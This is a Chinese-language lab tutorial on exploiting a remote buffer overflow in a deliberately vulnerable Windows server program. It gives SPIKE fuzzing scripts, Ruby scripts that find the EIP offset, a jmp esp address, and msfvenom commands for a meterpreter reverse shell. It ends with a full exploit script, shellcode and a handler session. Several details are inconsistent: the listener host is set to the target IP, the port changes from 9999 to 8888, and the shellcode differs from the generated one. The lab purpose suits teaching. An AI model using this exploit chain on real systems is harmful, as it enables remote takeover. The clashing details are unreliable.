缓冲区溢出攻击很容易被攻击者利用,因为C/C++语言并没有自动检测缓冲区溢出操作,同时程序编写人员在编写代码时也很难始终检查缓冲区是否可能溢出.利用溢出,攻击者可以将期望数据写入漏洞程序内存中的任意位置,甚至包括控制程序执行流的关键数据(比如函数调用后的返回地址),从而控制程序的执行过程并实施恶意行为.
该笔记用于帮助读者理解远程缓冲区溢出的挖掘,以及编写漏洞利用程序片段,下面在进行实验前,读者应该具备一定得汇编代码阅读能力,以及对基本渗透工具的使用,并且请确保准备好以下测试环境:
靶机主机:windows Server2008 (MyServer应用) 192.168.1.10
攻击主机::kali linux 192.168.1.2
课件下载:https://www.cnblogs.com/LyShark/p/11105516.html
缓冲区溢出的常用攻击方法是将恶意代码 shellcode 注入到程序中,并用其地址来覆盖程序本身函数调用的返回地址,使得返回时执行此恶意代码而不是原本应该执行的代码.也就是说,这种攻击在实施时通常首先要将恶意代码注入目标漏洞程序中,并能够得到远程系统的控制权.
在这里笔者使用C语言编写了一个带有漏洞的Server服务程序
,并运行在Windows Server2008
系统上,当你运行该服务程序后,该服务会自动开启
本地的9999 号端口
,你可以使用NetCat,Telnet
进行远程连接
,当你连接后服务器会分配
一个随机的Shell环境
,此时可以执行一些基本的测试命令.
下面我们将使用NetCat工具
连接服务器,NC工具连接后,你可以执行一些测试函数,这些函数里面有一些带有漏洞,而一些则没有,这里你可以使用help
来查询远程服务器所支持的命令,也可以使用trun |
的方式调用命令,为了用户能够准确的将实验进行下去,我这里在每个函数后面备注了信息,其中标注有yes
的函数是存在漏洞
的,相反的则是不存在
漏洞的函数.
C:// > nc 192.168.1.10 9999
[Shell] # help
[Shell] # trun | hello lyshark
执行模糊测试
模糊测试(Fuzzing)
,是用于漏洞挖掘
的探测工作,主要用于发现
那些函数存在漏洞
,通过向目标系统提供非预期的输入
并监视异常结果来发现软件漏洞的方法,其原理主要是通过输入
大量数据,发现程序中存在的问题
.可以通过使程序某些内容溢出出现异常,或者输入的是程序规定的范围内的数据结果出现异常,从而找出程序的bug.
尽管当今有许多模糊测试工具可以使用,但是在Kali Linux
系统中默认集成了SPIKE
,从技术上讲SPIKE实际上是一个模糊器
创建工具包,它提供了API
允许用户使用C语言基于网络的协议来创建自己的fuzzer,该工具可以通过编写脚本
的方式进行测试任务,而无须自行编写上百行的测试代码.
创建测试脚本: 在测试之前,首先我们先来创建一个测试脚本,该脚本命名为lyshark.spk
,脚本的内容如下.
root@kali:~# vim lyshark.spk
s_readline(); # 接收第一行的数据
s_string("stats |"); # 向目标发送字串开头
s_string_variable("A"); # 发送的主体字符串
测试STATS函数: 我们使用generic_send_tcp
进行测试,测试服务器程序中stats
函数是否存在漏洞,其命令如下:
root@kali:~# generic_send_tcp 192.168.1.10 9999 lyshark.spk 0 0
Fuzzing Variable 0:1198
line read=
Fuzzing Variable 0:1199
line read=
Fuzzing Variable 0:1200
line read=
Fuzzing Variable 0:1201
line read=
Fuzzing Variable 0:1202
line read=
Fuzzing Variable 0:1203
^C
root@kali:~#
经过上面的测试后,发现服务器程序并没有崩溃,只是出现了一些错误日志,则说明stats
函数不存在远程溢出漏洞,接着我们修改测试代码,并继续测试.
修改测试脚本: 我们接着打开lyshark.spk
这个测试脚本,修改测试函数,这里改为trun
即可.
root@kali:~# vim lyshark.spk
s_readline(); # 接收第一行的数据
s_string("trun |"); # 向目标发送字串开头
s_string_variable("A"); # 发送的主体字符串
测试TRUN函数: 我们使用generic_send_tcp
进行测试,测试服务器程序中trun
函数是否存在漏洞,其命令如下:
root@kali:~# generic_send_tcp 192.168.1.10 9999 lyshark.spk 0 0
Fuzzing Variable 0:1198
line read=
Fuzzing Variable 0:1199
line read=
Fuzzing Variable 0:1200
line read=
Fuzzing Variable 0:1201
line read=
Fuzzing Variable 0:1202
line read=
Fuzzing Variable error
^C
root@kali:~#
经过上面的模糊测试,你会发现服务器端崩溃了
,我们的服务器在应对二进制字符串
时表现异常,其实这就是一个典型的远程缓冲区溢出
漏洞,之所以会崩溃的原因是因为缓冲区没有进行合理的边界检测
,从而超出了缓冲区的容量,恶意的字符串覆盖了EIP
指针,导致服务器不知道下一跳去哪里取指令,从而崩溃了.
控制EIP指针
在上面的模糊测试环节,我们已经清楚的知道路目标服务器的,trun函数
存在远程缓冲区溢出漏洞
,接下来
我们就来测试一下目标缓冲区的大小
,这也是控制EIP
指针的前提条件,现在我们需要具体的知道使用多少个字节才能够不多不少
的覆盖掉程序中EIP寄存器,首先先来创建一个Ruby脚本,来完成远程对缓冲区的填充,这里Ruby的代码如下.
root@kali:~# vim lyshark.rb
require 'socket'
host = '192.168.1.10'
port = 9999
sock = TCPSocket.open(host, port)
command = "trun |" # 指定要测试的函数
header = "/.:/" # 数据包发送固定写法
buf = "A" * 2000 # 生成2000个A(猜测)
eip = "BBBB" # 暂且填充为BBBB
nops = "\x90" * 20 # 填充20个nop指令
sock.gets() # 获取服务端返回的字符串
sock.puts( command+header+buf+eip+nops ) # 开始发送2000个A
sock.close
root@kali:~# ruby lyshark.rb
上面的代码主要作用是,生成2000个A
,在Kali上运行代码后,发现服务器崩溃了,崩溃事件中还提供了具体的EIP地址,这说明脚本正常工作了.
接下来我们在服务器上,使用x64dbg调试器
附加到MyServer.exe
这个服务程序的进程上,并在调试器附加的基础上,再次执行lyshark.rb
这个脚本.
当脚本运行后,不出所料程序再次崩溃
,这里我们主要关心崩溃后的堆栈情况,下图可发现EIP指针为90904242
,也就是说当前EIP一半在nop雪橇上另一半在AA上,由此我们可以猜测此时我们填充少了.
通过上面的EIP覆盖情况,发现填充物少填充了2个字符,接着我们修改攻击脚本
,将填充物改大一些,这次我们改成2002
,也就是说向远程堆栈内填充2002个A
,重新运行服务器上的服务,并再次运行
攻击脚本.
require 'socket'
host = '192.168.1.10'
port = 9999
sock = TCPSocket.open(host, port)
command = "trun |" # 指定要测试的函数
header = "/.:/" # 数据包发送固定写法
buf = "A" * 2002 # 生成2002个A
eip = "BBBB" # 方便区分
nops = "\x90" * 50
sock.gets()
sock.puts( command+header+buf+eip+nops ) # 发送2002个A
sock.close
root@kali:~# ruby lyshark.rb
当攻击脚本运行后,我们查看一下EIP指针的位置,你会发现此时的EIP地址已经指向了42424242
,也就是我们脚本中填充的eip = "BBBB"
,由此可得出填充物的大小刚好为2002
个A,在下图的堆栈区域中,也可以清晰地看到我们填充的AAAA
与nop雪橇
的分界线.
构建漏洞攻击过程
在上面的环节中我们已经确定了
填充物的大小
,但细心的你会发现程序每次运行其栈地址
都是随机变化
的,在Windows漏洞利用
过程中,由于动态链接库
的装入和卸载等原因,Windows进程的函数栈帧可能产生移位
,即ShellCode
在内存中的地址是动态变化
的,因此需要Exploit(漏洞利用代码)
在运行时动态定位栈中的ShellCode
地址.
我们第一步就是寻找一个跳板,能够动态的定位栈地址的位置,在这里我们使用jmp esp
作为跳板指针,其基本思路
就是,使用内存中任意一个jmp esp
的地址覆盖返回
地址,函数返回后被重定向
去执行内存中jmp esp
指令,而esp寄存器
的地址正好是我们布置好的nop雪橇
的位置,此时EIP指针
就会顺着nop雪橇
滑向我们构建好的恶意代码,从而触发我们预先布置好的ShellCode代码.
选择模块: 首先通过x64dbg调试器
附加服务程序,然后选择符号菜单,这里我找到了kernelbase.dll
这个外部模块,模块的选择是随机的,只要模块内部存在jmp esp
指令就可以利用.
搜索跳板: 接着搜索该模块中的jmp esp
指令,因为这个指令地址是固定的,我们就将EIP指针
跳转到这里,又因esp寄存器存储着当前的栈地址,所以刚好跳转到我们布置好的nop雪橇的位置上.
在x64dbg调试器
的反汇编界面中,按下ctrl + f
搜索,并记录下这个搜寻到的地址0x77433f73
,其实这里随便一个只要是jmp esp 指令
的都可以,我们将其作为EIP的跳转地址.
生成漏洞利用代码
当然可以从零开始构建漏洞攻击所使用的ShellCode但这需要你具备汇编的编程能力,不过庆幸的是Metaspoloit在这方面可以为我们做很多,我们可以通过MSF提供的msfvenom命令
快速的生成一个有效载荷.
root@kali:~# msfvenom -a x86 --platform Windows \
> -p windows/meterpreter/reverse_tcp \
> -b '\x00\x0b' LHOST=192.168.1.2 LPORT=9999 -f ruby
Found 11 compatible encoders
Payload size: 368 bytes
Final size of ruby file: 1612 bytes
buf =
"\xba\x94\x23\x08\x8e\xdb\xd1\xd9\x74\x24\xf4\x5e\x33\xc9" +
"\xb1\x56\x31\x56\x13\x03\x56\x13\x83\xee\x68\xc1\xfd\x72" +
"\x78\x84\xfe\x8a\x78\xe9\x77\x6f\x49\x29\xe3\xfb\xf9\x99" +
最后在msf控制主机,启动一个侦听器,等待我们的攻击脚本运行。
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > set lhost 192.168.1.10
lhost => 192.168.1.10
msf5 exploit(multi/handler) > set lport 9999
lport => 8888
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.10:9999
经过上面的步骤我们已经构建出了漏洞利用代码,此时我们运行构建好的攻击代码。
require 'socket'
host = '192.168.1.10'
port = 9999
sock = TCPSocket.open(host, port)
command = "trun |" #数据包包头写法
header = "/.:/" #数据包发送固定写法
buf = "A" * 2002 #2002个字节刚好填充满
eip = "\x73\x3f\x43\x77" #EIP=77433F73 将该地址反写
nops = "\x90" * 20 #此处是nop雪橇填充的20个字节
shellcode =
"\xd9\xf7\xd9\x74\x24\xf4\x5a\xbb\xc8\xbb\x47\x96\x29\xc9" +
"\xb1\x56\x31\x5a\x18\x83\xc2\x04\x03\x5a\xdc\x59\xb2\x6a" +
"\x34\x1f\x3d\x93\xc4\x40\xb7\x76\xf5\x40\xa3\xf3\xa5\x70" +
"\xa7\x56\x49\xfa\xe5\x42\xda\x8e\x21\x64\x6b\x24\x14\x4b" +
"\x6c\x15\x64\xca\xee\x64\xb9\x2c\xcf\xa6\xcc\x2d\x08\xda" +
"\x3d\x7f\xc1\x90\x90\x90\x66\xec\x28\x1a\x34\xe0\x28\xff" +
"\x8c\x03\x18\xae\x87\x5d\xba\x50\x44\xd6\xf3\x4a\x89\xd3" +
"\x4a\xe0\x79\xaf\x4c\x20\xb0\x50\xe2\x0d\x7d\xa3\xfa\x4a" +
"\xb9\x5c\x89\xa2\xba\xe1\x8a\x70\xc1\x3d\x1e\x63\x61\xb5" +
"\xb8\x4f\x90\x1a\x5e\x1b\x9e\xd7\x14\x43\x82\xe6\xf9\xff" +
"\xbe\x63\xfc\x2f\x37\x37\xdb\xeb\x1c\xe3\x42\xad\xf8\x42" +
"\x7a\xad\xa3\x3b\xde\xa5\x49\x2f\x53\xe4\x05\x9c\x5e\x17" +
"\x71\xe3\xf6\xf7"
sock.gets()
sock.puts( command+header+buf+eip+nops+shellcode )
sock.close
查看攻击主机,即可看到一个反向连接shell,此时我们可以远程执行任意命令。
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.10:9999
[*] Sending stage (179779 bytes) to 192.168.1.10
[*] Meterpreter session 1 opened (192.168.1.10:9999 -> 192.168.1.2:9900) at 2019-03-27
meterpreter > sysinfo
Computer : web-server
OS : Windows Server2008.
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
教程到这里就结束了,这里只是一个挖掘漏洞的小例子,根据这个例子读者就可以了解漏洞挖掘的具体流程,其实大多数漏洞挖掘无外乎这些步骤,只是在一些方面会有一些差异而已,但大同小异.
写教程不容易,转载请加出处!!